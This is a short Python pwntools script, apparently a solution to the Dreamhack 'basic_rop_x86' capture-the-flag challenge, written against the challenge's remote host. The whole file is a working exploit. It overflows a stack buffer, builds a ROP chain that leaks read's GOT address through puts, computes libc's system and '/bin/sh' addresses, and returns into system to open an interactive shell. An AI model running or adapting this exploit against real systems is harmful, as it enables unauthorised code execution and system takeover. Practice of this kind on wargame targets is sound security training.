from pwn import *

p = remote('host3.dreamhack.games', 16870)

e = ELF('./basic_rop_x86')

libc = ELF('./libc.so.6')

read_plt = e.plt['read']
read_got = e.got['read']
puts_plt = e.plt['puts']
pop_ebp = 0x0804868b
main = 0x80485d9

payload = b'A'*0x48

payload += p32(puts_plt)
payload += p32(pop_ebp) + p32(read_got)
payload += p32(main)
#ret2main

p.send(payload)

p.recvn(0x40)
read = u32(p.recv(4))
lib = read - libc.symbols['read']
system = lib + libc.symbols['system']
binsh = lib + 0x15902b

payload = b"A"*0x48
payload += p32(system)
payload += p32(pop_ebp) + p32(binsh)

p.send(payload)

p.recvuntil(b'A'*0x40) #깔끔하게 만들기 위함

p.interactive()